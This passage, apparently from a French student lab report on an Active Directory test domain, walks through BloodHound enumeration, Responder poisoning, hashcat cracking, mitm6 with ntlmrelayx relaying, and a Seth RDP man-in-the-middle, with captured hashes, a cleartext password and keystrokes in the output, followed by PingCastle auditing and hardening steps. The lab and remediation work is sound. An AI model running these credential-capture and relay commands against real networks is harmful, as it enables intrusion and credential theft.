.\SharpHound.exe -c All --zipfilename "$DOMAIN"

Depuis Linux#

En utilisant Netexec

nxc ldap "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --bloodhound -c all --dns-server "$IP"

En utilisant bloodhound-python

bloodhound-python -u "$USER" -p "$PASSWORD" -c all -d "$DOMAIN" -ns "$IP" --zip

En utilisant rusthound (Collecteur codé en rust)

rusthound -d "$DOMAIN" -u "$USER"@"$DOMAIN" -p "$PASSWORD" -o /workspace/ --zip

II. Importer dans Bloodhound#

• Transfère le fichier .zip généré par le collecteur vers ma machine d'attaque contenant BloodHound.

• Démarrer le service neo4j puis ouvrir BloodHound

neo4j start

bloodhound &> /dev/null &

• sélectionner le .zip dans la fenêtre d'upload puis attendre l'upload complet des fichiers.

• De base, la query vers "Shortest path to domain Admin" est comme ceci :

• Sauf que, par exemple, si on ajoute des droits administrateurs à un utilisateurs et qu'on relance un dump

Add-ADGroupMember -Identity "Domain Admins" -Members "aconor"

• Dans la barre de recherche, tapez Domain Admins et sélectionne le groupe.

• Exemple avec la query Shortest Paths to Domain Admins dans l'onglet d'analyse

• On peut voir que ACONOR est désormais visible en tant que Admin du domaine et de nouveaux chemins de compromissions de sont crées

III. Explications#

Objectif : Cartographier les relations de confiance et les privilèges de l'Active Directory pour identifier les vecteurs d'élévation de privilèges. Méthodologie : Le collecteur SharpHound a été déployé pour extraire la topologie AD. Les données ont été ingérées dans BloodHound. Une modification de permission (Full Control) a été simulée pour évaluer l'impact sur la surface d'attaque.

Analyse : La cartographie révèle instantanément les "Tier 0" et les chemins d'attaque (Attack Paths). L'ajout de droits excessifs à un compte standard crée immédiatement un nouveau chemin critique, démontrant qu'une simple erreur de configuration NTFS ou AD peut compromettre l'ensemble du domaine.

Exploitation DNS (LLMNR - NBT-NS Poisoning)#

I. Explications de l'attaque#

Lorsque la résolution DNS échoue, Windows utilise LLMNR puis NBT-NS pour résoudre les noms sur le réseau local. Un attaquant peut répondre à ces requêtes et capturer des hashes NTLMv2.

PoC avec l'outil Responder#

Lancer l'outil responder

sudo responder -I eth0 -dwv

On simule ensuite depuis le client une tentavie de connexion à un partage inexistant pour lancer une résolution LLMNR:

Responder capture le challenge NTLMv2 de l'utilisateur qui a tenté de se connecter :

Casser le hash NTLMv2 capturé#

En utilisant Hashcat#

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Résultat - AVANT PSO : Hash cassé → mot de passe Password1 retrouvé en quelques secondes.

Résultat - APRÈS PSO (14 caractères, complexité augmentée) :

La PSO appliqué à apopov impose un mot de passe suffisamment complexe pour résister à une attaque par dictionnaire avec une wordlist comme rockyou.

DHCPv6 Spoofing / NTLM Relay avec mitm6#

I. Mise en place de l'attaque#

mitm6 exploite le fait que Windows préfère IPv6 à IPv4. L'attaquant se fait passer pour un serveur DHCPv6 légitime et devient le DNS IPv6 des machines du réseau. Combiné à ntlmrelayx, cela permet de relayer les authentifications NTLM vers le DC en LDAP.

L'attaquant lance son serveur DHCPv6/DNS malveillant :

sudo mitm6 -i eth0 -d serval.int

Au même moment, on intercepte les authentifications NTLM et on les relaie vers le DC pour extraire les informations de l'AD :

sudo impacket-ntlmrelayx -6 -t ldap://192.168.1.10 -wh fake-wpad --dump-ad

II. Résultats#

Lors du redémarrage DHCP d'une machine cliente, mitm6 lui attribue une adresse IPv6. Les authentifications NTLM sont ensuite relayées vers le DC.

[*] HTTPD: Received connection from 192.168.1.219, attacking target ldap://192.168.1.219  
[*] Authenticating against ldap://192.168.1.10 as SERVAL\CLIENT01$ SUCCEED  
[*] Dumping AD Domain information...  
[*] Users found: 12  
- aconor, klindsay, ilorenzi, fkidd, cdigory, dblock,  
lbaxter, jlafleur, apopov, ahernandez, lvargas, bkrakenhood  
[*] Groups found: 24  
- Domain Admins, Domain Users, G_President, G_IT_SysAdmin, [...]  
[*] Computers found: 2  
- DC01.serval.int, CLIENT01.serval.int

Attaque man in the middle RDP#

I. Mise en place avec Seth#

Seth réalise un MITM sur RDP en combinant ARP poisoning et un proxy SSL. L'attaquant se positionne entre le client et le serveur RDP.

sudo ./seth.sh $INTERFACE $IPATTAQUANT $IPVICTIM <GATEWAY IP|HOST IP> [<COMMAND>]

II. Résultats#

L'utilisateur a une pop up qui apparaît

Si il accepte et se connecte, l'attaquant :

# ./seth.sh $INTERFACE $IP
███████╗███████╗████████╗██╗  ██╗
██╔════╝██╔════╝╚══██╔══╝██║  ██║   by Adrian Vollmer
███████╗█████╗     ██║   ███████║   seth@vollmer.syss.de
╚════██║██╔══╝     ██║   ██╔══██║   SySS GmbH, 2017
███████║███████╗   ██║   ██║  ██║   https://www.syss.de
╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL

apopov::serval.int:SERVAL:24a20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000

Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client

serval.int\apopov:motdepassesupersecure

Keyboard Layout: 0x409 (English_United_States)
Key press:   LShift
Key press:   C
Key release:                 C
Key press:   O
Key release:                 O
Key press:   U
Key release:                 U
Key press:   C
Key release:                 C
Key press:   O
Key release:                 O
Key press:   U
Key release:                 U

[*] Cleaning up...

[*] Done.

Cette attaque fonctionne quand RDP est activé et que l'utilisateur ne vérifie pas le certificat qui lui est présenté.

III. Analyse#

Conditions requises pour le succès :

• L'attaquant doit être sur le même réseau local.
• L'utilisateur doit ignorer l'avertissement de certificat .

Rôle des mécanismes de protection :

• NLA activé : l'authentification se produit avant l'établissement de la session RDP complète → Seth ne peut plus intercepter les credentials
• PKI: si le client vérifie le certificat, Seth échoue car son certificat auto-signé est rejeté.

Audit de l'AD avec PingCastle#

PingCastle est un excellent outil pour auditer la sécurité de son AD. Il est utile pour recommander aux clients des mesures supplémentaires de durcissement dans leur rapport de test d'intrusion.

I. Exécution de l'outil#

.\PingCastle.exe

PingCastle génère un rapport HTML avec un score de risque global (0 = sécurisé, 100 = critique).

II. Vulnérabilités identifiées#

III. Plan de remédiation#

Pour chaque vulnérabilité identifiée, une remédiation est mise en place dans la section suivante.

Microsoft Security Baselines#

Les Microsoft Security Baselines sont des configurations de référence publiées par Microsoft via le Security Compliance Toolkit. Elles définissent les paramètres GPO minimaux recommandés pour sécuriser les environnements Windows Server et les postes clients. Elles servent de socle pour tout hardening industriel d'un DC.

I. Téléchargement et préparation#

Télécharger le Security Compliance Toolkit depuis le site officiel Microsoft, puis préparer le répertoire de travail :

$SCTPath = "C:\Tools\SCT"
New-Item -ItemType Directory -Path $SCTPath -Force

# Vérifier la présence de LGPO.exe
Test-Path "$SCTPath\LGPO\LGPO.exe"

Contenu du Security Compliance Toolkit utilisé :

II. Import des Baselines en GPO#

Ce script importe la baseline officielle Microsoft sous forme de GPO liée au domaine, avec l'option Enforced pour qu'elle ne puisse pas être écrasée par une GPO enfant.

$BaselinePath = "C:\Tools\SCT\Windows Server 2022 Security Baseline\GPOs"
$BackupGUID   = "{GUID_DC_BASELINE}"   # GUID présent dans le dossier GPOs

Import-GPO -BackupId $BackupGUID `
           -TargetName "MSB_WindowsServer2022_DC" `
           -Path $BaselinePath `
           -CreateIfNeeded

New-GPLink -Name "MSB_WindowsServer2022_DC" `
           -Target "DC=serval,DC=int" `
           -LinkEnabled Yes `
           -Enforced Yes

Application via LGPO sur une machine locale (hors domaine) :

LGPO.exe /g "C:\Tools\SCT\Windows Server 2022 Security Baseline\GPOs\{GUID}"

III. Vérification post-import#

Get-GPInheritance -Target "DC=serval,DC=int" | Select-Object -ExpandProperty GpoLinks

Get-GPOReport -Name "MSB_WindowsServer2022_DC" -ReportType Html -Path "C:\Tools\MSB_Report.html"

IV. Paramètres critiques activés par la Baseline#

V. Explications#

Objectif : Appliquer un socle de sécurité complet et standardisé sur le DC et les postes du domaine Serval, au-delà des mesures ciblées des sections précédentes.

Méthodologie : Les Security Baselines Microsoft sont construites sur le retour d'expérience de l'équipe MSRC et alignées avec les benchmarks CIS (Center for Internet Security). L'import via Import-GPO préserve l'intégralité des paramètres définis par Microsoft sans risque d'omission manuelle. L'option Enforced garantit que la baseline ne peut pas être outrepassée par une GPO appliquée à un niveau inférieur dans la hiérarchie AD.

Analyse de sécurité : La désactivation de WDigest est particulièrement critique dans notre contexte : elle empêche Windows de maintenir une copie du mot de passe en clair dans LSASS, rendant inopérantes les attaques documentées en section Attaquer LSASS & SAM même si PPL ou Credential Guard venaient à être contournés. La désactivation de NTLMv1 complète directement les remédiations contre Responder et mitm6, en forçant l'usage de NTLMv2 au minimum, voire de Kerberos exclusivement.

Remédiation et durcissement de l'Active Directory#

I. Sauvegarde de l'Active Directory#

Installation des outils

Install-WindowsFeature Windows-Server-Backup -IncludeManagementTools

Création des dossiers et partage de sauvegarde

New-Item -Path "C:\Backup" -ItemType Directory -Force 
New-Item -Path "C:\Backup\GPO" -ItemType Directory -Force 
New-Item -Path "C:\BackupShare" -ItemType Directory -Force New-SmbShare -Name "Backup" -Path "C:\BackupShare" -FullAccess "SERVAL\Domain Admins"

System state

wbadmin start systemstatebackup -backuptarget:C:\Backup\SystemState -quiet

Sauvegarde des GPO

Import-Module GroupPolicy 
Backup-GPO -All -Path "C:\Backup\GPO"

II. Déploiement de BitLocker#

BitLocker chiffre le disque système des machines du domaine, protégeant les données en cas de vol ou d'accès physique non autorisé. La clé de récupération est automatiquement sauvegardée dans l'AD.

Création de la GPO BitLocker :

$gpoBitlocker = New-GPO -Name "GPO_Bitlocker" -Comment "Activation Bitlocker"

New-GPLink -Name "GPO_Bitlocker" -Target "OU=Serval_Utilisateurs,OU=Serval,DC=serval,DC=int

Configuration de la GPO pour imposer le chiffrement XTS-AES 256 et la sauvegarde de la clé dans l'AD :

Script de déploiement BitLocker déployé via GPO au démarrage de la machine :

$BLStatus = Get-BitLockerVolume -MountPoint "C:"
if ($BLStatus.ProtectionStatus -eq "Off") {

	Enable-BitLocker -MountPoint "C:" ` 
	-EncryptionMethod XtsAes256 `
	-RecoveryPasswordProtector
$KeyID = (Get-BitLockerVolume -MountPoint "C:").KeyProtector |
	Where-Object {$_.KeyProtectorType -eq "RecoveryPassword"} | 
	Select-Object -ExpandProperty KeyProtectorId
	
Backup-BitLockerKeyProtector -MountPoint "C:" -KeyProtectorId $KeyID }

II. NTLM Relaying Attacks#

Il n'existe pas de paramètre unique permettant de désactiver le relais NTLM, voici la liste complètes des actions à réaliser :

• Forcer SMB Signing
• Désactiver la prise en charge de NTLMv1 au profit de NTLMv2
• Désactiver l'authentification NTLM autant que possible et utiliser plûtot Kerberos.
• Forcer la signature LDAP
• Forcer LDAP channel binding
• Placer les utilisateurs privilégiés dans le groupe Utilisateurs protégés
• Interdire les demandes d'authentification NTLM provenant de réseaux non fiables dans Active Directory
• Segmenter son réseau

III. Désactivation de LLMNR#

Le protocole LLMNR peut être désactivé via une GPO :

• Computer Configuration → Administrative Templates → Network → DNS Client → Turn off multicast name resolution. Clic droit sur Group Policy Objects et sélectionnez New.

• Ensuite, faites un clic droit sur la GPO et cliquez sur Edit. Naviguez jusqu'au paramètre Turn off multicast name resolution, sélectionnez Enabled, puis cliquez sur Apply.

IV. NBT-NS#

NBT-NS peut être désactivé via les paramètres réseau

Tapez Win + R ncpa.cpl

• IPV4 → Properties

• Advanced → WINS, puis cochez "Disable NetBIOS over TCP/IP"

• Mais il est clair que de le faire à la main sur une centaine de postes par exemples ce n'est pas facile, pour ce faire, on peut également désactiver la clé de registre HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces en la passant à 0

V. MachineAccountQuota#

Pourquoi c'est important ? : Par défaut, n'importe quel utilisateur (même la standardiste) peut joindre jusqu'à 10 ordinateurs au domaine. Les attaquants utilisent le relais NTLM vers LDAP pour créer un compte ordinateur fantôme et obtenir un point d'entrée dans l'AD sans avoir à casser de mot de passe.

Ce script permet de patcher cette vulnérabilité

Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota | Select-Object Name, ms-DS-MachineAccountQuota

Set-ADDomain -Identity "serval.int" -Replace @{"ms-DSMachineAccountQuota"="0"}

• Après patch :

VI. Forçage de la signature SMB et LDAP#

VII. Désactivation du spouleur d'impression#

Le service Print Spooler est vulnérable à plusieurs exploits critiques (PrintNightmare, etc.). Sur les serveurs qui n'ont pas besoin d'imprimer, il est recommandé de le désactiver :

VIII. Désactivation de NetBIOS#

$adapters = Get-WmiObject -Class Win32_NetworkAdapterConfiguration
 foreach ($adapter in $adapters) {
  if ($adapter.TcpipNetbiosOptions -ne 2) {
   $adapter.SetTcpipNetbios(2) 
   } 
}

IX. Désactivation de l'IPV6#

IPv6 est exploité par mitm6 (attaque 2). Sa désactivation sur les interfaces réseau et dans le registre bloque ce vecteur d'attaque :

$adapters = Get-NetAdapter
foreach ($adapter in $adapters) {
 Disable-NetAdapterBinding -Name $adapter.Name -ComponentID ms_tcpip6 
 }
 
Set-ItemProperty -Path
"HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" `
	-Name "DisabledComponents" `
	-Value 0xFF `
	-Type DWord

X. Activation de NLA (Network Level Authentication) pour RDP#

NLA oblige les utilisateurs à s'authentifier avant l'établissement de la session RDP complète, ce qui bloque l'attaque Seth qui exploite la phase de négociation SSL sans authentification préalable :

Avec NLA activé, Seth ne peut plus intercepter de hash car l'authentification se fait avant l'établissement de la session RDP. Cependant, l'ARP poisoning provoque toujours un déni de service (DoS) sur la connexion RDP.